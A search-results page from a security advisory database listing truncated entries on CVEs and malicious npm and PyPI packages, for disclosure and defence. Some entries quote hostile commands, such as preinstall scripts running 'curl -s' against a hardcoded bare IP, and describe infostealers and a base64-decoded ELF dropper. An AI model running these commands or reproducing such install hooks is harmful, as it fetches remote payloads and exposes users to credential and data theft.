6942 matches found
EUVD-2026-64775
Hugo's security.http.urls allowlist is the only control on outbound fetches made by resources.GetRemote, and it inspects the URL text alone. CheckAllowedHTTPURL in config/security/securityConfig.go applies the configured pattern list and then re-checks a canonicalised form of an integer, hex or...
Malicious code in multyproccess (PyPI)
--- -= Per source details. Do not edit below this line.=- Source: kam193 93a751dcfb2e5ac6058cbd62220d237288d3ceb4d8fe152b7ef7babb645df660 During installation, package executes an infostealer that e.g. exfiltrates browsers and crypto wallets data, establishes persistence, monitors clipboard. ---...
GeoServer WFS - XXE Processing Vulnerability
GeoServer Web Feature Service WFS is vulnerable to an XML External Entity XXE processing attack due to improper handling of XML input. This vulnerability allows attackers to perform Out-of-Band OOB data exfiltration and Server-Side Request Forgery SSRF by exploiting the GeoTools library. id:...
T24 Web Server - Local File Inclusion
T24 web server is vulnerable to unauthenticated local file inclusion that permits an attacker to exfiltrate data directly from server. id: CVE-2019-14251 info: name: T24 Web Server - Local File Inclusion author: 0xAkoko severity: high description: T24 web server is vulnerable to unauthenticated...
MAL-2026-14390 Malicious code in amundi-compare (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 0bc0f77ca83947d2af9978911d3a4da11af6a6a4773268f662291180c27b6f38 [email protected] is published at an inflated version number consistent with dependency-confusion targeting of an internal package name. The...
EUVD-2026-64684
exceljs-hardened versions before 5.0.0 fail to neutralize leading equals, plus, minus, or at signs in cell values written to CSV output. Attackers who can influence exported cell values can inject formulas that execute when the CSV file is opened in a spreadsheet application, potentially...
CVE-2026-78209
exceljs-hardened versions before 5.0.0 are vulnerable to CSV formula injection . The library fails to neutralize leading equals, plus, minus, or at signs in cell values written to CSV output. An attacker who can influence exported cell values can inject spreadsheet formulas that execute when the ...
Malicious code in sm-apikey-model (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector d8e5a8bc4d985b445afbc71bd563bcee445381d2539a7110a0ca53d54b800367 package.json declares preinstall and postinstall lifecycle scripts that invoke curl over plain HTTP to a hardcoded bare-IP endpoint...
Malicious code in sm-cart (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 14b02c7ed01f5b6da80999086ceced1c2eb8b8102384f6778862a0bb3ecaebe0 Package [email protected] declares preinstall and postinstall scripts that unconditionally run curl -s http://16.192.173.5/sm-cart/pre and curl -s...
Malicious code in sm-billing-form (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 422b9f6c71b124deff27a41ef4b595c308595c14af77dbd3756de0e625f86fc2 package.json defines preinstall and postinstall lifecycle scripts that run curl -s http://16.192.173.5/sm-billing-form/pre and curl -s...
Malicious code in boto4 (PyPI)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector d3f621c5e2e8e94d1c8ae2ae176d4d882711536d25199df7a1cdddd410214faa setup.py defines a custom setuptools install command EjecutaElf that base64-decodes a 17MB embedded Linux ELF, writes it to /tmp/.systemd-helper,...
MAL-2026-14349 Malicious code in boto4 (PyPI)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector d3f621c5e2e8e94d1c8ae2ae176d4d882711536d25199df7a1cdddd410214faa setup.py defines a custom setuptools install command EjecutaElf that base64-decodes a 17MB embedded Linux ELF, writes it to /tmp/.systemd-helper,...
Malicious code in moidevy (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 2eac79904b327f6508820c84c1350dd1bef3fc43eaf6e61d826f17ed5981d664 main.js imports childprocess and issues POST requests to a hardcoded endpoint at https://ipc.shadxino.internal referenced at lines 358 and 452, with...
GHSA-FM29-4MQ3-PHG6 Winter: ImportExportController AJAX handlers bypass granular import/export permission gate
Impact Affected versions of Winter CMS did not enforce the ImportExportController behavior's granular access control on the handlers that actually perform the work. The behavior supports per-operation access control through the importpermissions and exportpermissions configuration keys, enforced ...
Winter: ImportExportController AJAX handlers bypass granular import/export permission gate
Impact Affected versions of Winter CMS did not enforce the ImportExportController behavior's granular access control on the handlers that actually perform the work. The behavior supports per-operation access control through the importpermissions and exportpermissions configuration keys, enforced ...
Malicious code in create-react-app-text (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 0b7f200b99d8d2fadc13b72ccdd272107db79b8bc517ef5346a354479a177dff The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...
Malicious code in create-react-app-ux (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 4ce3734765ee6802d3ccdbbecb091f613417a1ff055ee8fb75ced9f7cf36ef31 The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...
Manic Android Malware Exfiltrates Data From Offline Phones via Nearby Infected Devices
A new Android threat codenamed Manic has been observed actively targeting Ukrainian banks, government and identity services, and messaging applications, as well as Russian and European financial institutions, global fintech and cryptocurrency services, and military-focused communications. "Manic...
CVE-2026-76258
In Splunk Enterprise versions below 10.4.2, 10.2.6, 10.0.9, and 9.4.14, and Splunk Secure Gateway versions below 3.10.10, 3.9.24, and 3.8.71, a user who does not hold the "admin" or "power" Splunk roles could register an arbitrary companion app and cause Splunk Secure Gateway to forward mobile us...
